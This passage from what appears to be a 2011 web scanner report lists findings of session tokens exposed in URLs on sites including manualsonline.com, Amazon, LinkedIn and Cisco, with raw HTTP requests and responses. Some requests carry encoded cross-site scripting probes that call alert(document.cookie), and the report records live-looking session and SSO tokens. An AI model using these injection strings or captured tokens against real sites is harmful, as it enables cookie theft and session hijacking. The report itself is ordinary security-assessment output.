<img id="earn_redeem_footer_image" src="/en_US/hh/images/earn_redeem_footer.gif" title="Earn & redeem HHonors points at over 3,600 hotels worldwide"/>
   <a title="Our Best Rates Guaranteed" href="/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?it=Not,HeadBestRates&dst=http://HH/en/ww/ourbestrates/overview.jhtml&adId=guaranteebestrate,hhhome,30&cid=OM,HN,BestRateGuarantee,Minibottom" id="best_rates_footer"></a>
...[SNIP]...
<li><a href="/doxch.do;jsessionid=8CAFAF63982F525635C9F2F8847A1317.etc61?dst=http://HH/en/hhonors/info/site_usage.jhtml" title="Site Usage Agreement">Site Usage Agreement</a>
...[SNIP]...

10.8. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type/product_problem

Issue detail

The response contains the following links that appear to contain session tokens:

http://session.owneriq.net/regman/mem/initsession?sessionargs=YToyOntzOjM6InVyaSI7czo0ODoiL2V4L21mZy9oZWFkbGluZS9tL2FyaWVucy9kL3R5cGUvcHJvZHVjdF9wcm9ibGVtIjtzOjY6InNlcnZlciI7czozMToiaG9tZWFwcGxpYW5jZS5tYW51YWxzb25saW5lLmNvbSI7fQ,,

Request

Response

10.9. http://homeappliance.manualsonline.com/regman/login/loginForm previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/regman/login/loginForm

Issue detail

The URL in the request appears to contain a session token within the query string:

http://homeappliance.manualsonline.com/regman/login/loginForm?scheme=http%3A&host=homeappliance.manualsonline.com&path=%2Fex%2Fmfg%2Fheadline%2Fm%2Fariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281%2Fd%2Ftype%2Fproduct_problem&memSessionId=59308638-3172-11e0-bdbb-0030485f67c6&memSiteGenId=LBUWK89B_D25_UJAKS5_LYIN&cb=95096451858&ns=Popup

Request

GET /regman/login/loginForm?scheme=http%3A&host=homeappliance.manualsonline.com&path=%2Fex%2Fmfg%2Fheadline%2Fm%2Fariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281%2Fd%2Ftype%2Fproduct_problem&memSessionId=59308638-3172-11e0-bdbb-0030485f67c6&memSiteGenId=LBUWK89B_D25_UJAKS5_LYIN&cb=95096451858&ns=Popup HTTP/1.1
Host: homeappliance.manualsonline.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
X-Prototype-Version: 1.7
X-Requested-With: XMLHttpRequest
Accept: text/javascript, text/html, application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adsus=2jh81Z; adsust=n1; adsur=57; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.1.10.1296942825

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:25:53 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:25:54 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 1958

<p>Access thousands of manuals, user community, personal homepage, original blog content and newsletters!</p>
<form onsubmit="javascript: submitRegistration('Popup'); return false;" id="sRegFormIdPopu
...[SNIP]...

10.10. http://homeappliance.manualsonline.com/regman/user/getUserBlock previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/regman/user/getUserBlock

Issue detail

The URL in the request appears to contain a session token within the query string:

http://homeappliance.manualsonline.com/regman/user/getUserBlock?scheme=http%3A&host=homeappliance.manualsonline.com&path=%2Fex%2Fmfg%2Fheadline%2Fm%2Fariens%2Fd%2Ftype1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e%2Fproduct_problem&memSessionId=59308638-3172-11e0-bdbb-0030485f67c6&memSiteGenId=LBUWK89B_D25_UJAKS5_LYIN&cb=24029984464&blockName=fullfilingcablist

Request

GET /regman/user/getUserBlock?scheme=http%3A&host=homeappliance.manualsonline.com&path=%2Fex%2Fmfg%2Fheadline%2Fm%2Fariens%2Fd%2Ftype1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e%2Fproduct_problem&memSessionId=59308638-3172-11e0-bdbb-0030485f67c6&memSiteGenId=LBUWK89B_D25_UJAKS5_LYIN&cb=24029984464&blockName=fullfilingcablist HTTP/1.1
Host: homeappliance.manualsonline.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
X-Prototype-Version: 1.7
X-Requested-With: XMLHttpRequest
Accept: text/javascript, text/html, application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adsus=2jh81Z; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsust=n2; adsur=58; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.2.10.1296942825; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:13 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 21:54:13 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 564

<h1>My Stuff</h1>
<p>
<strong>Store and manage your manuals in your free online filing cabinet!</strong>  
<a href="#" id="mystuffTip" onClick="return false;">what's this?</a>
<script type="
...[SNIP]...

10.11. http://homeappliance.manualsonline.com/regman/user/validateUser previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/regman/user/validateUser

Issue detail

The URL in the request appears to contain a session token within the query string:

http://homeappliance.manualsonline.com/regman/user/validateUser?scheme=http%3A&host=homeappliance.manualsonline.com&path=%2Fex%2Fmfg%2Fheadline%2Fm%2Fariens%2Fd%2Ftype1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e%2Fproduct_problem&memSessionId=59308638-3172-11e0-bdbb-0030485f67c6&memSiteGenId=LBUWK89B_D25_UJAKS5_LYIN&cb=66943775815

Request

GET /regman/user/validateUser?scheme=http%3A&host=homeappliance.manualsonline.com&path=%2Fex%2Fmfg%2Fheadline%2Fm%2Fariens%2Fd%2Ftype1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e%2Fproduct_problem&memSessionId=59308638-3172-11e0-bdbb-0030485f67c6&memSiteGenId=LBUWK89B_D25_UJAKS5_LYIN&cb=66943775815 HTTP/1.1
Host: homeappliance.manualsonline.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
X-Prototype-Version: 1.7
X-Requested-With: XMLHttpRequest
Accept: text/javascript, text/html, application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adsus=2jh81Z; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsust=n2; adsur=58; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.2.10.1296942825; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:53 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 21:53:53 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 11

new User();

10.12. http://session.owneriq.net/regman/mem/initsession previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://session.owneriq.net
Path:	/regman/mem/initsession

Issue detail

The URL in the request appears to contain a session token within the query string:

http://session.owneriq.net/regman/mem/initsession?sessionargs=YToyOntzOjM6InVyaSI7czoxMTQ6Ii9leC9tZmcvaGVhZGxpbmUvbS9hcmllbnM0Nzg4OCUyNTI3JTI1M2JhbGVydCUyNTI4ZG9jdW1lbnQuY29va2llJTI1MjklMjUyZiUyNTJmOGZjZjE2N2QyODEvZC90eXBlL3Byb2R1Y3RfcHJvYmxlbSI7czo2OiJzZXJ2ZXIiO3M6MzE6ImhvbWVhcHBsaWFuY2UubWFudWFsc29ubGluZS5jb20iO30,

Request

GET /regman/mem/initsession?sessionargs=YToyOntzOjM6InVyaSI7czoxMTQ6Ii9leC9tZmcvaGVhZGxpbmUvbS9hcmllbnM0Nzg4OCUyNTI3JTI1M2JhbGVydCUyNTI4ZG9jdW1lbnQuY29va2llJTI1MjklMjUyZiUyNTJmOGZjZjE2N2QyODEvZC90eXBlL3Byb2R1Y3RfcHJvYmxlbSI7czo2OiJzZXJ2ZXIiO3M6MzE6ImhvbWVhcHBsaWFuY2UubWFudWFsc29ubGluZS5jb20iO30, HTTP/1.1
Host: session.owneriq.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:25:27 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=d57faaa8-3176-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:25:27 GMT; path=/; domain=.owneriq.net
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript
Content-Length: 232

e = document.domain.split(/\./); setCookie("memSessionId", "d57faaa8-3176-11e0-bdbb-0030485f67c6", 30, "/", (e[e.length-2] + "." + e[e.length-1]));var memSessionId = "d57faaa8-3176-11e0-bdbb-0030485f
...[SNIP]...

10.13. http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://tbe.taleo.net
Path:	/NA7/ats/careers/jobSearch.jsp

Issue detail

The response contains the following links that appear to contain session tokens:

http://tbe.taleo.net/NA7/ats/careers/apply.jsp;jsessionid=C945AA07FE83ACD62665BD99018DE6A5.NA7_primary_jvm?org=VIBRANT&cws=1

Request

GET /NA7/ats/careers/jobSearch.jsp?org=VIBRANT&cws=1 HTTP/1.1
Host: tbe.taleo.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:21 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Set-Cookie: JSESSIONID=C945AA07FE83ACD62665BD99018DE6A5.NA7_primary_jvm; Path=/NA7/ats
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 10486

<HTML><HEAD>
<STYLE type="text/css">
#taleoContent {
padding: 0px;
margin: 0px;
margin-top: 15px;
border: none;
font-family:
...[SNIP]...
<br>To fill out a general application form <a tabIndex='33' href='http://tbe.taleo.net/NA7/ats/careers/apply.jsp;jsessionid=C945AA07FE83ACD62665BD99018DE6A5.NA7_primary_jvm?org=VIBRANT&cws=1'>click here</a>
...[SNIP]...

10.14. http://tools.cisco.com/search/display previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://tools.cisco.com
Path:	/search/display

Issue detail

The URL in the request appears to contain a session token within the query string:

http://tools.cisco.com/search/display?strqueryid=1&fc=1&websessionid=XrulBSFcVlVHM06AO6dbrhC&url=http://tools.cisco.com/security/center/home.x

Request

GET /search/display?strqueryid=1&fc=1&websessionid=XrulBSFcVlVHM06AO6dbrhC&url=http://tools.cisco.com/security/center/home.x HTTP/1.1
Host: tools.cisco.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 21:52:50 GMT
Server: IBM_HTTP_Server
Set-Cookie: ObSSOCookie=eDzAKigb2s79WqwJqeNSPK7k3%2B9sdQ193AOxww%2BRbR4D9ThZcegQY%2B0EKO4n14tJ%2Bae5ADzve97GWJltYrmwbcSzdK0LG4%2Fxy2bLvMDTerCmXGXRSry2ZPYtyxBXDR7lUj%2BpCPTM74t25cWwChvHbBx5r1D6a87zRs9X%2Fxa3xziIW0xmiuYJ4lYBdWi93bYA011asClILnzIEXJzXYtDNsKLoVPKjLNjhIHAKQWC3N%2B%2BBvGjeJ3h1uxSpDTu4Pm%2F027XUvouiItMecYrdMATko4NAKjGJjwkq5ub4I6J0cCIzkalfMANtkKFvMTKdqj7dkUbJut2ib1CEPSwvmr41%2Bp9NvCLj8EjkVU9NYrRBHNc1N2ZwAzSQ9jjkl4VMC7J; path=/; domain=.cisco.com;
Cache-Control: private
Pragma: private
Location: http://tools.cisco.com/security/center/home.x
IHSHOST: ccixweb-prod1-03
Content-Length: 0
Content-Type: text/html
Content-Language: en-US
Set-Cookie: CP_GUTC=173.193.214.243.1296942770019333; path=/; expires=Wed, 30-Jan-36 21:52:50 GMT; domain=.cisco.com
Set-Cookie: CP_GUTC=72.163.4.55.1296942770054069; path=/; expires=Wed, 30-Jan-36 21:52:50 GMT; domain=.cisco.com
RPHOST: ccxrp-prod1-02
Connection: close

10.15. https://www.aeprepaid.com/index.cfm previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.aeprepaid.com
Path:	/index.cfm

Issue detail

The response contains the following links that appear to contain session tokens:

https://www.aeprepaid.com/index.cfm?pageid=g05&ClientKey=Malls%20Sales%20Channel&CFID=1&CFTOKEN=C8701894A83E2EBE9F1C426E431DD246&CFSEQ=1

Request

GET /index.cfm HTTP/1.1
Host: www.aeprepaid.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 21:53:10 GMT
Server: Microsoft-IIS/6.0
Pragma: no-cache
Expires: Sat, 05 Feb 14:53:10
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
cache-control: no-cache, no-store, must-revalidate

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html lang="en">
<head>

       <title>Prepaid Card - Know Your Balance</title>


   <meta http-equiv="Content-Type" content="t
...[SNIP]...
<li><a href="index.cfm?pageid=g05&ClientKey=Malls%20Sales%20Channel&CFID=1&CFTOKEN=C8701894A83E2EBE9F1C426E431DD246&CFSEQ=1" title="Log in to your account">Access My Account</a>
...[SNIP]...
<td id="formNav">
           <a href="index.cfm?pageid=g05&ClientKey=Malls%20Sales%20Channel&CFID=1&CFTOKEN=C8701894A83E2EBE9F1C426E431DD246&CFSEQ=1" class="btn" title="Return to the Gift Card home page">Cancel</a>
...[SNIP]...

10.16. http://www.amazon.com/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.amazon.com
Path:	/

Issue detail

The response contains the following links that appear to contain session tokens:

http://www.amazon.com/gp/redirect.html/188-9552736-3777102?ie=UTF8&location=http%3A%2F%2Fwww.amazonservices.com%2Fcontent%2Fproduct-ads-on-amazon.htm%3Fld%3DAZPADSFooter&token=1E60AB4AC0ECCA00151B45353E21782E539DC601&_encoding=UTF8
http://www.amazon.com/gp/redirect.html/188-9552736-3777102?ie=UTF8&location=http%3A%2F%2Fwww.amazonservices.com%2Fcontent%2Fsell-on-amazon.htm%3Fld%3DAZFSSOA&token=1E60AB4AC0ECCA00151B45353E21782E539DC601&_encoding=UTF8
http://www.amazon.com/gp/redirect.html/ref=gw_m_b_ir/188-9552736-3777102?ie=UTF8&location=http%3A%2F%2Fphx.corporate-ir.net%2Fphoenix.zhtml%3Fp%3Dirol-irhome%26c%3D97664&token=F9CAD8A11D4336B5E0B3C3B089FA066D0A467C1C&_encoding=UTF8
http://www.amazon.com/gp/redirect.html/ref=gw_m_b_pr/188-9552736-3777102?ie=UTF8&location=http%3A%2F%2Fphx.corporate-ir.net%2Fphoenix.zhtml%3Fp%3Dirol-mediaHome%26c%3D176060&token=F9CAD8A11D4336B5E0B3C3B089FA066D0A467C1C&_encoding=UTF8
http://www.amazon.com/gp/redirect.html/ref=pd_lpo_ix_gw_am_us_ca_en/188-9552736-3777102?ie=UTF8&location=http%3A%2F%2Fwww.amazon.ca%2Fgp%2Fhomepage.html%3Ftag%3Dlpo%255Fixgwamuscaen-21&token=AD297DDA0F9D6C887976CD08894B02DB57139A39&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=center-intl-crossover-0&pf_rd_r=0KCJW8RY05PKJVC74BS4&pf_rd_t=101&pf_rd_p=499834531&pf_rd_i=507846

Request

GET / HTTP/1.1
Host: www.amazon.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:25 GMT
Server: Server
Set-Cookie: skin=noskin; path=/; domain=.amazon.com; expires=Sat, 05-Feb-2011 23:01:25 GMT
x-amz-id-1: 0KCJW8RY05PKJVC74BS4
p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC "
x-amz-id-2: ZOHvQ9RGUMwBOJTa2KvnRusGxeBk9Xx5NIoqKO+M/pseIEcTTQSnTJ7z6CUtyShJ
Vary: Accept-Encoding,User-Agent
nnCoection: close
Content-Type: text/html; charset=ISO-8859-1
Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
Set-cookie: session-id=188-9552736-3777102; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
Content-Length: 131368

<html>
<head>

<style type="text/css"><!--

BODY { font-family: verdana,arial,helvetica,sans-serif; font-size: x-small; background-color: #FF
...[SNIP]...
<div class="bannerImage"><a href="/gp/redirect.html/ref=pd_lpo_ix_gw_am_us_ca_en/188-9552736-3777102?ie=UTF8&location=http%3A%2F%2Fwww.amazon.ca%2Fgp%2Fhomepage.html%3Ftag%3Dlpo%255Fixgwamuscaen-21&token=AD297DDA0F9D6C887976CD08894B02DB57139A39&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=center-intl-crossover-0&pf_rd_r=0KCJW8RY05PKJVC74BS4&pf_rd_t=101&pf_rd_p=499834531&pf_rd_i=507846"><img src="http://g-ecx.images-amazon.com/images/G/01/gateway/visit_amazon_ca_tcg._V229026943_.gif" align="center" alt="Shop at Amazon.ca" border="0" />
...[SNIP]...
<li><a href="/gp/redirect.html/ref=gw_m_b_ir/188-9552736-3777102?ie=UTF8&location=http%3A%2F%2Fphx.corporate-ir.net%2Fphoenix.zhtml%3Fp%3Dirol-irhome%26c%3D97664&token=F9CAD8A11D4336B5E0B3C3B089FA066D0A467C1C&_encoding=UTF8">Investor Relations</a>
...[SNIP]...
<li><a href="/gp/redirect.html/ref=gw_m_b_pr/188-9552736-3777102?ie=UTF8&location=http%3A%2F%2Fphx.corporate-ir.net%2Fphoenix.zhtml%3Fp%3Dirol-mediaHome%26c%3D176060&token=F9CAD8A11D4336B5E0B3C3B089FA066D0A467C1C&_encoding=UTF8">Press Releases</a>
...[SNIP]...
<li><a href="/gp/redirect.html/188-9552736-3777102?ie=UTF8&location=http%3A%2F%2Fwww.amazonservices.com%2Fcontent%2Fsell-on-amazon.htm%3Fld%3DAZFSSOA&token=1E60AB4AC0ECCA00151B45353E21782E539DC601&_encoding=UTF8">Sell on Amazon</a>
...[SNIP]...
<li><a href="/gp/redirect.html/188-9552736-3777102?ie=UTF8&location=http%3A%2F%2Fwww.amazonservices.com%2Fcontent%2Fproduct-ads-on-amazon.htm%3Fld%3DAZPADSFooter&token=1E60AB4AC0ECCA00151B45353E21782E539DC601&_encoding=UTF8">Advertise Your Products</a>
...[SNIP]...

10.17. http://www.csc.gatech.edu/~copeland/6612/tool-links.html previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.csc.gatech.edu
Path:	/~copeland/6612/tool-links.html

Issue detail

The response contains the following links that appear to contain session tokens:

http://tools.cisco.com/search/display?strqueryid=1&fc=1&websessionid=XrulBSFcVlVHM06AO6dbrhC&url=http://tools.cisco.com/security/center/home.x

Request

GET /~copeland/6612/tool-links.html HTTP/1.1
Host: www.csc.gatech.edu
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:47:58 GMT
Server: Apache
Last-Modified: Wed, 26 Jan 2011 14:25:02 GMT
ETag: "1f34713-3962-49ac0993aab80"
Accept-Ranges: bytes
Content-Length: 14690
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta content="text/html; charset=ISO-8859-1"
http-equiv="content-type">
<title>Links to Network Tools</title>
</head
...[SNIP]...
</p>
Cisco -<a
href="http://tools.cisco.com/search/display?strqueryid=1&fc=1&websessionid=XrulBSFcVlVHM06AO6dbrhC&url=http://tools.cisco.com/security/center/home.x">
Security Advisories</a>
...[SNIP]...

10.18. http://www.linkedin.com/companies/222438/OwnerIQ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.linkedin.com
Path:	/companies/222438/OwnerIQ

Issue detail

The response contains the following links that appear to contain session tokens:

https://www.linkedin.com/secure/login?session_redirect=http%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fcompanies%2F222438%2FOwnerIQ&trk=cpp_signin_1
https://www.linkedin.com/secure/login?session_redirect=http%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fcompanies%2F222438%2FOwnerIQ&trk=cpp_signin_3

Request

GET /companies/222438/OwnerIQ HTTP/1.1
Host: www.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE"
Expires: 0
Pragma: no-cache
Cache-control: no-cache, must-revalidate, max-age=0
Set-Cookie: leo_auth_token="GST:ZQgw03ZYfQ00azc_JSdCZKQJd4K6alIZMZdC0MUYURk89UEZXdolwx:1296946949:65fdca8a090beb3f900ea530a9bab4f648ed93f8"; Version=1; Max-Age=1799; Expires=Sat, 05-Feb-2011 23:32:29 GMT; Path=/
Set-Cookie: s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: JSESSIONID="ajax:4713947493888160893"; Version=1; Path=/
Set-Cookie: visit=G; Expires=Fri, 24-Feb-2079 02:16:37 GMT; Path=/
Set-Cookie: bcookie="v=1&e6f1aaac-08d7-4426-85cc-9b3490cae2cf"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 02:16:37 GMT; Path=/
Set-Cookie: lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sat, 05 Feb 2011 23:02:30 GMT
Set-Cookie: NSC_MC_QH_MFP=ffffffffaf1999f445525d5f4f58455e445a4a42198c;expires=Sat, 05-Feb-2011 23:32:45 GMT;path=/;httponly
Content-Length: 26660

<!DOCTYPE html>
<html lang="en">
<head>

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=9">
<meta name="pageImpressionID" conte
...[SNIP]...
</a> or <a href="https://www.linkedin.com/secure/login?session_redirect=http%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fcompanies%2F222438%2FOwnerIQ&trk=cpp_signin_1" rel="nofollow">Sign In</a>
...[SNIP]...
</a> or <a href="https://www.linkedin.com/secure/login?session_redirect=http%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fcompanies%2F222438%2FOwnerIQ&trk=cpp_signin_3" rel="nofollow">Sign In</a>
...[SNIP]...

10.19. http://www.mittelstandsblog.de/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.mittelstandsblog.de
Path:	/

Issue detail

The response contains the following links that appear to contain session tokens:

http://www.plosone.org/article/fetchObjectAttachment.action;jsessionid=CF9EA7BC4D075769E370ED7353C3CCDB.ambra02?uri=info%3Adoi%2F10.1371%2Fjournal.pone.0015849&representation=PDF

Request

GET / HTTP/1.1
Host: www.mittelstandsblog.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:18 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
X-Pingback: http://www.mittelstandsblog.de/xmlrpc.php
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 46050

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.org
...[SNIP]...
<div id="attachment_53756" class="wp-caption alignleft" style="width: 110px"><a href="http://www.plosone.org/article/fetchObjectAttachment.action;jsessionid=CF9EA7BC4D075769E370ED7353C3CCDB.ambra02?uri=info%3Adoi%2F10.1371%2Fjournal.pone.0015849&representation=PDF"><img class="size-thumbnail wp-image-53756" title="Download" src="http://www.mittelstandsblog.de/wp-content/uploads/2011/01/567_Download-100x128.jpg" alt="Download (englischspr.)" width="100" height="12
...[SNIP]...

10.20. http://www.officedepot.com/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.officedepot.com
Path:	/

Issue detail

The response contains the following links that appear to contain session tokens:

http://www.officedepot.com/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
http://www.officedepot.com/a/browse/all-in-ones/N=5+509834/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
http://www.officedepot.com/a/browse/audio-and-video-electronics/N=5+509401/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
http://www.officedepot.com/a/browse/av-supplies-and-equipment/N=5+1677/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
http://www.officedepot.com/a/browse/basic-supplies/N=5+1886/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
http://www.officedepot.com/a/browse/binder-accessories/N=5+2156/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
http://www.officedepot.com/a/browse/binders-and-accessories/N=5+2155/;jsessionid=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b
